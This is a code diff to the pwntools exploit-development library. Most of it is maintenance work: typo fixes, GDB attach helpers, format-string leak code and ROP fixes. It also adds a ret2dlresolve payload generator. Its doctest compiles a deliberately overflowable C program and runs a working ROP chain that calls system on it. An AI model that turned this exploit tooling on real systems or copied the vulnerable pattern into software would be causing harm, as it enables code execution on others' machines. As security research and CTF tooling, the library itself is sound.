leak = self.execute_fmt(prefix + b"START%%%d$pEND" % offset)
|
||||
payload = b"START%%%d$pEND" % offset
|
||||
leak = self.execute_fmt(prefix + payload)
|
||||
try:
|
||||
leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
|
||||
leak = int(leak, 16)
|
||||
@@ -872,7 +864,7 @@ class FmtStr(object):
|
||||
leak = self.leak_stack(off, marker)
|
||||
leak = pack(leak)
|
||||
|
||||
pad = cyclic_find(leak)
|
||||
pad = cyclic_find(leak[:4])
|
||||
if pad >= 0 and pad < 20:
|
||||
return off, pad
|
||||
else:
|
||||
@@ -889,7 +881,10 @@ class FmtStr(object):
|
||||
if addr & 0xfff == 0 and self.leaker._leak(addr+1, 3, False) == b"ELF":
|
||||
return b"\x7f"
|
||||
|
||||
fmtstr = randoms(self.padlen).encode() + pack(addr) + b"START%%%d$sEND" % self.offset
|
||||
fmtstr = fit({
|
||||
self.padlen: b"START%%%d$sEND" % (self.offset + 16//context.bytes),
|
||||
16 + self.padlen: addr
|
||||
})
|
||||
|
||||
leak = self.execute_fmt(fmtstr)
|
||||
leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
|
||||
|
||||
+13
-14
@@ -67,7 +67,7 @@ which is intended to prevent processes from debugging eachother unless there is
|
||||
a direct parent-child relationship.
|
||||
|
||||
This causes some issues with the normal Pwntools workflow, since the process
|
||||
heirarchy looks like this:
|
||||
hierarchy looks like this:
|
||||
|
||||
::
|
||||
|
||||
@@ -301,8 +301,7 @@ def _get_runner(ssh=None):
|
||||
|
||||
@LocalContext
|
||||
def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kwargs):
|
||||
r"""debug(args) -> tube
|
||||
|
||||
r"""
|
||||
Launch a GDB server with the specified command line,
|
||||
and launches GDB to attach to it.
|
||||
|
||||
@@ -355,9 +354,11 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
|
||||
... break main
|
||||
... continue
|
||||
... ''')
|
||||
>>> # Send a command to Bash
|
||||
>>> io.sendline("echo hello")
|
||||
>>> io.recvline()
|
||||
b'hello\n'
|
||||
>>> # Interact with the process
|
||||
>>> io.interactive() # doctest: +SKIP
|
||||
>>> io.close()
|
||||
|
||||
@@ -372,9 +373,11 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
|
||||
... break free
|
||||
... continue
|
||||
... ''')
|
||||
>>> # Send a command to Bash
|
||||
>>> io.sendline("echo hello")
|
||||
>>> io.recvline()
|
||||
b'hello\n'
|
||||
>>> # Interact with the process
|
||||
>>> io.interactive() # doctest: +SKIP
|
||||
>>> io.close()
|
||||
|
||||
@@ -382,7 +385,6 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
|
||||
by using the ``ssh=`` keyword to pass in your :class:`.ssh` instance.
|
||||
|
||||
>>> # Connect to the SSH server
|
||||
|
||||
>>> # Start a process on the server
|
||||
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
|
||||
>>> io = gdb.debug(['bash'],
|
||||
@@ -391,10 +393,8 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
|
||||
... break main
|
||||
... continue
|
||||
... ''')
|
||||
|
||||
>>> # Send a command to Bash
|
||||
>>> io.sendline("echo hello")
|
||||
|
||||
>>> # Interact with the process
|
||||
>>> io.interactive() # doctest: +SKIP
|
||||
>>> io.close()
|
||||
@@ -458,7 +458,7 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
|
||||
if not ssh and context.os == 'android':
|
||||
host = context.adb_host
|
||||
|
||||
attach((host, port), exe=exe, gdbscript=gdbscript, need_ptrace_scope = False, ssh=ssh, sysroot=sysroot)
|
||||
attach((host, port), exe=exe, gdbscript=gdbscript, ssh=ssh, sysroot=sysroot)
|
||||
|
||||
# gdbserver outputs a message when a client connects
|
||||
garbage = gdbserver.recvline(timeout=1)
|
||||
@@ -506,9 +506,8 @@ def binary():
|
||||
return gdb
|
||||
|
||||
@LocalContext
|
||||
def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_args = None, ssh = None, sysroot = None):
|
||||
r"""attach(target, gdbscript = None, exe = None, arch = None, ssh = None) -> None
|
||||
|
||||
def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysroot = None):
|
||||
r"""
|
||||
Start GDB in a new terminal and attach to `target`.
|
||||
|
||||
Arguments:
|
||||
@@ -546,7 +545,6 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
Attach to a process by PID
|
||||
|
||||
>>> pid = gdb.attach(1234) # doctest: +SKIP
|
||||
@@ -633,6 +631,9 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
|
||||
if context.os == 'android':
|
||||
pre += 'set gnutarget ' + _bfdname() + '\n'
|
||||
|
||||
if exe:
|
||||
pre += 'file %s\n' % exe
|
||||
|
||||
# let's see if we can find a pid to attach to
|
||||
pid = None
|
||||
if isinstance(target, six.integer_types):
|
||||
@@ -671,8 +672,6 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
|
||||
if shell.keyfile:
|
||||
cmd += ['-i', shell.keyfile]
|
||||
exefile = target.executable
|
||||
if six.PY3:
|
||||
exefile = exefile.decode()
|
||||
cmd += ['gdb -q %s %s -x "%s"' % (exefile,
|
||||
target.pid,
|
||||
tmpfile)]
|
||||
@@ -784,7 +783,7 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
|
||||
|
||||
tmp.write(gdbscript)
|
||||
tmp.close()
|
||||
cmd += ' -x "%s"' % (tmp.name)
|
||||
cmd += ' -x %s' % (tmp.name)
|
||||
|
||||
log.info('running in new terminal: %s' % cmd)
|
||||
|
||||
|
||||
+1
-1
@@ -37,7 +37,7 @@ class PwntoolsLexer(RegexLexer):
|
||||
#: optional Comment or Whitespace
|
||||
string = r'"(\\"|[^"])*"'
|
||||
char = r'[\w$.@-]'
|
||||
identifier = r'(?:[a-zA-Z$_]' + char + '*|\.' + char + '+|or)'
|
||||
identifier = r'(?:[a-zA-Z$_]' + char + r'*|\.' + char + '+|or)'
|
||||
number = r'(?:0[xX][a-zA-Z0-9]+|\d+)'
|
||||
memory = r'(?:[\]\[])'
|
||||
bad = r'(?:\(bad\))'
|
||||
|
||||
+1
-1
@@ -164,7 +164,7 @@ def search_by_sha256(hex_encoded_id):
|
||||
def get_build_id_offsets():
|
||||
"""
|
||||
Returns a list of file offsets where the Build ID should reside within
|
||||
an ELF file of the currentlys-elected architecture.
|
||||
an ELF file of the currently selected architecture.
|
||||
"""
|
||||
# Given the corpus of almost all libc to have been released with
|
||||
# RedHat, Fedora, Ubuntu, Debian, etc. over the past several years,
|
||||
|
||||
+2
-2
@@ -179,7 +179,7 @@ class Progress(object):
|
||||
self.rate = kwargs.pop('rate', 0)
|
||||
self._log(status, args, kwargs, 'status')
|
||||
# it is a common use case to create a logger and then immediately update
|
||||
# its status line, so we reset `last_status` to accomodate this pattern
|
||||
# its status line, so we reset `last_status` to accommodate this pattern
|
||||
self.last_status = 0
|
||||
|
||||
def _log(self, status, args, kwargs, msgtype):
|
||||
@@ -650,7 +650,7 @@ log_file.setFormatter(logging.Formatter(fmt, iso_8601))
|
||||
# The root 'pwnlib' logger is declared here. To change the target of all
|
||||
# 'pwntools'-specific logging, only this logger needs to be changed.
|
||||
#
|
||||
# Logging cascades upward through the heirarchy,
|
||||
# Logging cascades upward through the hierarchy,
|
||||
# so the only point that should ever need to be
|
||||
# modified is the root 'pwnlib' logger.
|
||||
#
|
||||
|
||||
@@ -469,7 +469,7 @@ class AdbClient(Logger):
|
||||
path = path.encode('utf-8')
|
||||
self.c.flat32('STAT', len(path), path)
|
||||
if self.c.recvn(4) != b'STAT':
|
||||
self.error("An error occured while attempting to STAT a file.")
|
||||
self.error("An error occurred while attempting to STAT a file.")
|
||||
|
||||
mode = self.c.u32()
|
||||
size = self.c.u32()
|
||||
|
||||
+14
-3
@@ -166,7 +166,7 @@ class AppendedArgument(Unresolved):
|
||||
for i, value in enumerate(self.values):
|
||||
if isinstance(value, six.integer_types):
|
||||
rv[i] = value
|
||||
if isinstance(value, str):
|
||||
if isinstance(value, six.text_type):
|
||||
value = context._encode(value)
|
||||
if isinstance(value, (bytes, bytearray)):
|
||||
value += b'\x00'
|
||||
@@ -177,6 +177,7 @@ class AppendedArgument(Unresolved):
|
||||
if isinstance(value, Unresolved):
|
||||
rv[i] = value.address
|
||||
rv.extend(value.resolve())
|
||||
assert rv[i] is not None
|
||||
|
||||
return rv
|
||||
|
||||
@@ -218,8 +219,8 @@ class Call(object):
|
||||
#: Arguments to the call
|
||||
args = []
|
||||
|
||||
def __init__(self, name, target, args, abi=None):
|
||||
assert isinstance(name, str)
|
||||
def __init__(self, name, target, args, abi=None, before=()):
|
||||
assert isinstance(name, (bytes, six.text_type))
|
||||
# assert isinstance(target, six.integer_types)
|
||||
assert isinstance(args, (list, tuple))
|
||||
self.abi = abi or ABI.default()
|
||||
@@ -229,6 +230,7 @@ class Call(object):
|
||||
for i, arg in enumerate(args):
|
||||
if not isinstance(arg, six.integer_types+(Unresolved,)):
|
||||
self.args[i] = AppendedArgument(arg)
|
||||
self.stack_arguments_before = before
|
||||
|
||||
def __repr__(self):
|
||||
fmt = "%#x" if isinstance(self.target, six.integer_types) else "%r"
|
||||
@@ -236,6 +238,15 @@ class Call(object):
|
||||
self.name,
|
||||
fmt % self.target,
|
||||
self.args)
|
||||
|
||||
@property
|
||||
def register_arguments(self):
|
||||
return dict(zip(self.abi.register_arguments, self.args))
|
||||
|
||||
@property
|
||||
def stack_arguments(self):
|
||||
return self.args[len(self.abi.register_arguments):]
|
||||
|
||||
@classmethod
|
||||
def _special_repr(cls, x):
|
||||
if isinstance(x, AppendedArgument):
|
||||
|
||||
@@ -0,0 +1,355 @@
|
||||
r"""
|
||||
Provides automatic payload generation for exploiting buffer overflows
|
||||
using ret2dlresolve.
|
||||
|
||||
Example:
|
||||
|
||||
>>> program = tempfile.mktemp()
|
||||
>>> source = program + ".c"
|
||||
>>> write(source, '''
|
||||
... #include <unistd.h>
|
||||
... void vuln(void){
|
||||
... char buf[64];
|
||||
... read(STDIN_FILENO, buf, 200);
|
||||
... }
|
||||
... int main(int argc, char** argv){
|
||||
... vuln();
|
||||
... }''')
|
||||
>>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-m32", "-o", program]
|
||||
>>> process(cmdline).wait_for_close()
|
||||
|
||||
>>> context.binary = program
|
||||
>>> elf = ELF(program)
|
||||
>>> rop = ROP(elf)
|
||||
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
|
||||
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
|
||||
>>> rop.ret2dlresolve(dlresolve)
|
||||
>>> raw_rop = rop.chain()
|
||||
>>> print(rop.dump()) # doctest: +SKIP
|
||||
0x0000: 0x8049030 read(0, 0x804ce00)
|
||||
0x0004: 0x8049208 <adjust @0x10> pop edi; pop ebp; ret
|
||||
0x0008: 0x0 arg0
|
||||
0x000c: 0x804ce00 arg1
|
||||
0x0010: 0x8049020 [plt_init] system(0x804ce30)
|
||||
0x0014: 0x4b74 [dlresolve index]
|
||||
0x0018: b'gaaa' <return address>
|
||||
0x001c: 0x804ce30 arg0
|
||||
>>> p = process(program)
|
||||
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
|
||||
>>> p.recvline()
|
||||
b'pwned\n'
|
||||
|
||||
>>> # and now for 64 bits
|
||||
>>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-o", program]
|
||||
>>> process(cmdline).wait_for_close()
|
||||
>>> context.binary = program
|
||||
>>> elf = ELF(program)
|
||||
>>> rop = ROP(elf)
|
||||
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
|
||||
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
|
||||
>>> rop.ret2dlresolve(dlresolve)
|
||||
>>> raw_rop = rop.chain()
|
||||
>>> print(rop.dump()) # doctest: +SKIP
|
||||
0x0000: 0x4011aa pop rdi; ret
|
||||
0x0008: 0x0 [arg0] rdi = 0
|
||||
0x0010: 0x4011a8 pop rsi; pop r15; ret
|
||||
0x0018: 0x404e00 [arg1] rsi = 4214272
|
||||
0x0020: b'iaaajaaa' <pad r15>
|
||||
0x0028: 0x401030 read
|
||||
0x0030: 0x4011aa pop rdi; ret
|
||||
0x0038: 0x404e58 [arg0] rdi = 4214360
|
||||
0x0040: 0x401020 [plt_init] system
|
||||
0x0048: 0x318 [dlresolve index]
|
||||
>>> p = process(program)
|
||||
>>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
|
||||
>>> if dlresolve.unreliable:
|
||||
... p.poll(True) == -signal.SIGSEGV
|
||||
... else:
|
||||
... p.recvline() == b'pwned\n'
|
||||
True
|
||||
"""
|
||||
|
||||
from copy import deepcopy
|
||||
|
||||
from pwnlib.context import context
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.util.packing import *
|
||||
from pwnlib.util.misc import align
|
||||
|
||||
log = getLogger(__name__)
|
||||
|
||||
ELF32_R_SYM_SHIFT = 8
|
||||
ELF64_R_SYM_SHIFT = 32
|
||||
|
||||
class Elf32_Rel(object):
|
||||
"""
|
||||
.. code-block:: c
|
||||
|
||||
typedef struct elf32_rel {
|
||||
Elf32_Addr r_offset;
|
||||
Elf32_Word r_info;
|
||||
} Elf32_Rel;
|
||||
"""
|
||||
size=1 # see _build_structures method for explanation
|
||||
def __init__(self, r_offset=0, r_info=0):
|
||||
self.r_offset = r_offset
|
||||
self.r_info = r_info
|
||||
|
||||
def __flat__(self):
|
||||
return p32(self.r_offset) + p32(self.r_info)
|
||||
|
||||
def __bytes__(self):
|
||||
return self.__flat__()
|
||||
|
||||
|
||||
class Elf64_Rel(object):
|
||||
"""
|
||||
.. code-block:: c
|
||||
|
||||
typedef struct elf64_rel {
|
||||
Elf64_Addr r_offset;
|
||||
Elf64_Xword r_info;
|
||||
} Elf64_Rel;
|
||||
"""
|
||||
size=24
|
||||
def __init__(self, r_offset=0, r_info=0):
|
||||
self.r_offset = r_offset
|
||||
self.r_info = r_info
|
||||
|
||||
def __flat__(self):
|
||||
return p64(self.r_offset) + p64(self.r_info) + p64(0)
|
||||
|
||||
def __bytes__(self):
|
||||
return self.__flat__()
|
||||
|
||||
|
||||
class Elf32_Sym(object):
|
||||
"""
|
||||
.. code-block:: c
|
||||
|
||||
typedef struct elf32_sym{
|
||||
Elf32_Word st_name;
|
||||
Elf32_Addr st_value;
|
||||
Elf32_Word st_size;
|
||||
unsigned char st_info;
|
||||
unsigned char st_other;
|
||||
Elf32_Half st_shndx;
|
||||
} Elf32_Sym;
|
||||
"""
|
||||
size = 16
|
||||
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
|
||||
self.st_name = st_name
|
||||
self.st_value = st_value
|
||||
self.st_size = st_size
|
||||
self.st_info = st_info
|
||||
self.st_other = st_other
|
||||
self.st_shndx = st_shndx
|
||||
|
||||
def __flat__(self):
|
||||
return p32(self.st_name) + \
|
||||
p32(self.st_value) + \
|
||||
p32(self.st_size) + \
|
||||
p8(self.st_info) + \
|
||||
p8(self.st_other) + \
|
||||
p16(self.st_shndx)
|
||||
|
||||
def __bytes__(self):
|
||||
return self.__flat__()
|
||||
|
||||
|
||||
class Elf64_Sym(object):
|
||||
"""
|
||||
.. code-block:: c
|
||||
|
||||
typedef struct elf64_sym {
|
||||
Elf64_Word st_name;
|
||||
unsigned char st_info;
|
||||
unsigned char st_other;
|
||||
Elf64_Half st_shndx;
|
||||
Elf64_Addr st_value;
|
||||
Elf64_Xword st_size;
|
||||
} Elf64_Sym;
|
||||
"""
|
||||
size=24
|
||||
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
|
||||
self.st_name = st_name
|
||||
self.st_value = st_value
|
||||
self.st_size = st_size
|
||||
self.st_info = st_info
|
||||
self.st_other = st_other
|
||||
self.st_shndx = st_shndx
|
||||
|
||||
def __flat__(self):
|
||||
return p32(self.st_name) + \
|
||||
p8(self.st_info) + \
|
||||
p8(self.st_other) + \
|
||||
p16(self.st_shndx) + \
|
||||
p64(self.st_value) + \
|
||||
p64(self.st_size)
|
||||
|
||||
def __bytes__(self):
|
||||
return self.__flat__()
|
||||
|
||||
|
||||
class Queue(list):
|
||||
def size(self):
|
||||
size = 0
|
||||
for v in self:
|
||||
# Lists, strings and ints all have size context.size
|
||||
# Assuming int size equals address size
|
||||
if isinstance(v, MarkedBytes):
|
||||
size += len(v)
|
||||
else:
|
||||
size += context.bytes
|
||||
return size
|
||||
|
||||
|
||||
class MarkedBytes(bytes):
|
||||
pass
|
||||
|
||||
|
||||
class Ret2dlresolvePayload(object):
|
||||
def __init__(self, elf, symbol, args, data_addr=None):
|
||||
self.elf = elf
|
||||
self.elf_load_address_fixup = self.elf.address - self.elf.load_addr
|
||||
self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_load_address_fixup
|
||||
self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_load_address_fixup
|
||||
self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_load_address_fixup
|
||||
self.versym = elf.dynamic_value_by_tag("DT_VERSYM") + self.elf_load_address_fixup
|
||||
self.symbol = context._encode(symbol)
|
||||
self.args = args
|
||||
self.real_args = self._format_args()
|
||||
self.unreliable = False
|
||||
|
||||
self.data_addr = data_addr if data_addr is not None else self._get_recommended_address()
|
||||
|
||||
# Will be set when built
|
||||
self.reloc_index = -1
|
||||
self.payload = b""
|
||||
|
||||
# PIE is untested, gcc forces FULL-RELRO when PIE is set
|
||||
if self.elf.pie and self.elf_load_address_fixup == 0:
|
||||
log.warning("WARNING: ELF is PIE but has no base address set")
|
||||
|
||||
self._build()
|
||||
|
||||
def _format_args(self):
|
||||
# Encode every string in args
|
||||
def aux(args):
|
||||
for i, arg in enumerate(args):
|
||||
if isinstance(arg, (str,bytes)):
|
||||
args[i] = context._encode(args[i]) + b"\x00"
|
||||
elif isinstance(arg, (list, tuple)):
|
||||
aux(arg)
|
||||
|
||||
args = deepcopy(self.args)
|
||||
aux(args)
|
||||
return args
|
||||
|
||||
def _get_recommended_address(self):
|
||||
bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_load_address_fixup
|
||||
bss_size = self.elf.get_section_by_name(".bss").header.sh_size
|
||||
addr = bss + bss_size
|
||||
addr = addr + (-addr & 0xfff) - 0x200 #next page in memory - 0x200
|
||||
return addr
|
||||
|
||||
def _build_structures(self):
|
||||
# The first part of the payload is the usual of ret2dlresolve.
|
||||
if context.bits == 32:
|
||||
ElfSym = Elf32_Sym
|
||||
ElfRel = Elf32_Rel
|
||||
ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT
|
||||
elif context.bits == 64:
|
||||
ElfSym = Elf64_Sym
|
||||
ElfRel = Elf64_Rel
|
||||
ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT
|
||||
else:
|
||||
log.error("Unsupported bits")
|
||||
|
||||
# where the address of the symbol will be saved
|
||||
# (ElfRel.r_offset points here)
|
||||
symbol_space = b"A"*context.bytes
|
||||
|
||||
# Symbol name. Ej: system
|
||||
symbol_name_addr = self.data_addr + len(self.payload)
|
||||
symbol_name = self.symbol + b"\x00"
|
||||
symbol_end_addr = symbol_name_addr + len(symbol_name)
|
||||
|
||||
# ElfSym
|
||||
index = align(ElfSym.size, symbol_end_addr - self.symtab) // ElfSym.size # index for both symtab and versym
|
||||
sym_addr = self.symtab + ElfSym.size * index
|
||||
sym = ElfSym(st_name=symbol_name_addr - self.strtab)
|
||||
sym_end_addr = sym_addr + sym.size
|
||||
|
||||
# It seems to be treated as an index in 64b and
|
||||
# as an offset in 32b. That's why Elf32_Rel.size = 1
|
||||
self.reloc_index = align(ElfRel.size, sym_end_addr - self.jmprel) // ElfRel.size
|
||||
|
||||
# ElfRel
|
||||
rel_addr = self.jmprel + self.reloc_index * ElfRel.size
|
||||
rel_type = 7
|
||||
rel = ElfRel(r_offset=self.data_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
|
||||
|
||||
self.payload = fit({
|
||||
symbol_name_addr - self.data_addr: symbol_name,
|
||||
sym_addr - self.data_addr: sym,
|
||||
rel_addr - self.data_addr: rel
|
||||
})
|
||||
|
||||
ver_addr = self.versym + 2 * index # Elf_HalfWord
|
||||
|
||||
log.debug("Symtab: %s", hex(self.symtab))
|
||||
log.debug("Strtab: %s", hex(self.strtab))
|
||||
log.debug("Versym: %s", hex(self.versym))
|
||||
log.debug("Jmprel: %s", hex(self.jmprel))
|
||||
log.debug("ElfSym addr: %s", hex(sym_addr))
|
||||
log.debug("ElfRel addr: %s", hex(rel_addr))
|
||||
log.debug("Symbol name addr: %s", hex(symbol_name_addr))
|
||||
log.debug("Version index addr: %s", hex(ver_addr))
|
||||
log.debug("Data addr: %s", hex(self.data_addr))
|
||||
if not self.elf.memory[ver_addr]:
|
||||
log.warn("Ret2dlresolve is likely impossible in this ELF "
|
||||
"(too big gap between text and writable sections).\n"
|
||||
"If you get a segmentation fault with fault_addr = %#x, "
|
||||
"try a different technique.", ver_addr)
|
||||
self.unreliable = True
|
||||
|
||||
def _build_args(self):
|
||||
# The second part of the payload will include strings and pointers needed for ROP.
|
||||
queue = Queue()
|
||||
|
||||
# We first have to process the arguments: replace lists and strings with
|
||||
# pointers to the payload. Add lists contents and marked strings to the queue
|
||||
# to be processed later.
|
||||
for i, arg in enumerate(self.real_args):
|
||||
if isinstance(arg, (list, tuple)):
|
||||
self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
|
||||
queue.extend(arg)
|
||||
elif isinstance(arg, bytes):
|
||||
self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
|
||||
queue.append(MarkedBytes(arg))
|
||||
|
||||
# Now we process the generated queue, which contains elements that will be in
|
||||
# the payload. We replace lists and strings with pointers, add lists elements
|
||||
# to the queue, and mark strings so next time they are processed they are
|
||||
# added and not replaced again.
|
||||
while len(queue) > 0:
|
||||
top = queue[0]
|
||||
if isinstance(top, (list, tuple)):
|
||||
top = pack(self.data_addr + len(self.payload) + queue.size())
|
||||
queue.extend(queue[0])
|
||||
elif isinstance(top, MarkedBytes):
|
||||
# Just add them
|
||||
pass
|
||||
elif isinstance(top, bytes):
|
||||
top = pack(self.data_addr + len(self.payload) + queue.size())
|
||||
queue.append(MarkedBytes(queue[0]))
|
||||
elif isinstance(top, int):
|
||||
top = pack(top)
|
||||
|
||||
self.payload += top
|
||||
queue.pop(0)
|
||||
|
||||
def _build(self):
|
||||
self._build_structures()
|
||||
self._build_args()
|
||||
+32
-5
@@ -290,6 +290,7 @@ from pwnlib.context import context
|
||||
from pwnlib.elf import ELF
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.rop import srop
|
||||
from . import ret2dlresolve
|
||||
from pwnlib.rop.call import AppendedArgument
|
||||
from pwnlib.rop.call import Call
|
||||
from pwnlib.rop.call import CurrentStackPointer
|
||||
@@ -305,6 +306,13 @@ from pwnlib.util.packing import pack
|
||||
log = getLogger(__name__)
|
||||
__all__ = ['ROP']
|
||||
|
||||
enums = Call, constants.Constant
|
||||
try:
|
||||
from enum import Enum
|
||||
except ImportError:
|
||||
pass
|
||||
else:
|
||||
enums += Enum,
|
||||
|
||||
class Padding(object):
|
||||
"""
|
||||
@@ -685,7 +693,7 @@ class ROP(object):
|
||||
"""
|
||||
Return a description for an object in the ROP stack
|
||||
"""
|
||||
if isinstance(object, (Call, constants.Constant)):
|
||||
if isinstance(object, enums):
|
||||
return str(object)
|
||||
if isinstance(object, six.integer_types):
|
||||
return self.unresolve(object)
|
||||
@@ -767,7 +775,7 @@ class ROP(object):
|
||||
elif isinstance(slot, Call):
|
||||
stack.describe(self.describe(slot))
|
||||
|
||||
registers = dict(zip(slot.abi.register_arguments, slot.args))
|
||||
registers = slot.register_arguments
|
||||
|
||||
for value, name in self.setRegisters(registers):
|
||||
if name in registers:
|
||||
@@ -786,7 +794,10 @@ class ROP(object):
|
||||
stack.append(slot.target)
|
||||
|
||||
# For any remaining arguments, put them on the stack
|
||||
stackArguments = slot.args[len(slot.abi.register_arguments):]
|
||||
stackArguments = slot.stack_arguments
|
||||
for argument in slot.stack_arguments_before:
|
||||
stack.describe("[dlresolve index]")
|
||||
stack.append(argument)
|
||||
nextGadgetAddr = stack.next + (context.bytes * len(stackArguments))
|
||||
|
||||
# Generally, stack-based arguments assume there's a return
|
||||
@@ -1090,7 +1101,7 @@ class ROP(object):
|
||||
#
|
||||
# - leave
|
||||
# - pop reg
|
||||
# - add $sp, value
|
||||
# - add $sp, <hexadecimal value>
|
||||
# - ret
|
||||
#
|
||||
# Currently, ROPgadget does not detect multi-byte "C2" ret.
|
||||
@@ -1098,7 +1109,7 @@ class ROP(object):
|
||||
#
|
||||
|
||||
pop = re.compile(r'^pop (.{3})')
|
||||
add = re.compile(r'^add [er]sp, (\S+)$')
|
||||
add = re.compile(r'^add [er]sp, ((?:0[xX])?[0-9a-fA-F]+)$')
|
||||
ret = re.compile(r'^ret$')
|
||||
leave = re.compile(r'^leave$')
|
||||
int80 = re.compile(r'int +0x80')
|
||||
@@ -1114,6 +1125,8 @@ class ROP(object):
|
||||
# False
|
||||
# >>> valid('add esp, 0x24')
|
||||
# True
|
||||
# >>> valid('add esp, esi')
|
||||
# False
|
||||
#
|
||||
valid = lambda insn: any(map(lambda pattern: pattern.match(insn), [pop,add,ret,leave,int80,syscall,sysenter]))
|
||||
|
||||
@@ -1280,6 +1293,20 @@ class ROP(object):
|
||||
|
||||
return result
|
||||
|
||||
def ret2dlresolve(self, dlresolve):
|
||||
elf = next(elf for elf in self.elfs if elf.get_section_by_name(".plt"))
|
||||
elf_base = elf.address if elf.pie else 0
|
||||
plt_init = elf.get_section_by_name(".plt").header.sh_addr + elf_base
|
||||
log.debug("PLT_INIT: %#x", plt_init)
|
||||
|
||||
reloc_index = dlresolve.reloc_index
|
||||
real_args = dlresolve.real_args
|
||||
call = Call("[plt_init] " + dlresolve.symbol.decode(),
|
||||
plt_init,
|
||||
dlresolve.real_args,
|
||||
before=[reloc_index])
|
||||
self.raw(call)
|
||||
|
||||
def __getattr__(self, attr):
|
||||
"""Helper to make finding ROP gadets easier.
|
||||
|
||||
|
||||
@@ -15,64 +15,19 @@ Args:
|
||||
|
||||
Examples:
|
||||
|
||||
>>> print(shellcraft.pushstr("Hello!").rstrip())
|
||||
/* push b'Hello!\x00' */
|
||||
/* Set x14 = 36762444129608 = 0x216f6c6c6548 */
|
||||
mov x14, #25928
|
||||
movk x14, #27756, lsl #16
|
||||
movk x14, #8559, lsl #0x20
|
||||
str x14, [sp, #-16]!
|
||||
>>> print(shellcraft.pushstr("Hello, world!").rstrip())
|
||||
/* push b'Hello, world!\x00' */
|
||||
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
|
||||
mov x14, #25928
|
||||
movk x14, #27756, lsl #16
|
||||
movk x14, #11375, lsl #0x20
|
||||
movk x14, #30496, lsl #0x30
|
||||
/* Set x15 = 143418749551 = 0x21646c726f */
|
||||
mov x15, #29295
|
||||
movk x15, #25708, lsl #16
|
||||
movk x15, #33, lsl #0x20
|
||||
stp x14, x15, [sp, #-16]!
|
||||
>>> print(shellcraft.pushstr("Hello, world, bienvenue").rstrip())
|
||||
/* push b'Hello, world, bienvenue\x00' */
|
||||
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
|
||||
mov x14, #25928
|
||||
movk x14, #27756, lsl #16
|
||||
movk x14, #11375, lsl #0x20
|
||||
movk x14, #30496, lsl #0x30
|
||||
/* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
|
||||
mov x15, #29295
|
||||
movk x15, #25708, lsl #16
|
||||
movk x15, #8236, lsl #0x20
|
||||
movk x15, #26978, lsl #0x30
|
||||
stp x14, x15, [sp, #-16]!
|
||||
/* Set x14 = 28558089656888933 = 0x65756e65766e65 */
|
||||
mov x14, #28261
|
||||
movk x14, #25974, lsl #16
|
||||
movk x14, #30062, lsl #0x20
|
||||
movk x14, #101, lsl #0x30
|
||||
str x14, [sp, #-16]!
|
||||
>>> print(shellcraft.pushstr("Hello, world, bienvenue!").rstrip())
|
||||
/* push b'Hello, world, bienvenue!\x00' */
|
||||
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
|
||||
mov x14, #25928
|
||||
movk x14, #27756, lsl #16
|
||||
movk x14, #11375, lsl #0x20
|
||||
movk x14, #30496, lsl #0x30
|
||||
/* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
|
||||
mov x15, #29295
|
||||
movk x15, #25708, lsl #16
|
||||
movk x15, #8236, lsl #0x20
|
||||
movk x15, #26978, lsl #0x30
|
||||
stp x14, x15, [sp, #-16]!
|
||||
/* Set x14 = 2406458692908510821 = 0x2165756e65766e65 */
|
||||
mov x14, #28261
|
||||
movk x14, #25974, lsl #16
|
||||
movk x14, #30062, lsl #0x20
|
||||
movk x14, #8549, lsl #0x30
|
||||
mov x15, xzr
|
||||
stp x14, x15, [sp, #-16]!
|
||||
>>> string = "Hello, world!"
|
||||
>>> assembly = shellcraft.pushstr(string)
|
||||
>>> assembly += shellcraft.write(1, 'sp', len(string))
|
||||
>>> assembly += shellcraft.exit()
|
||||
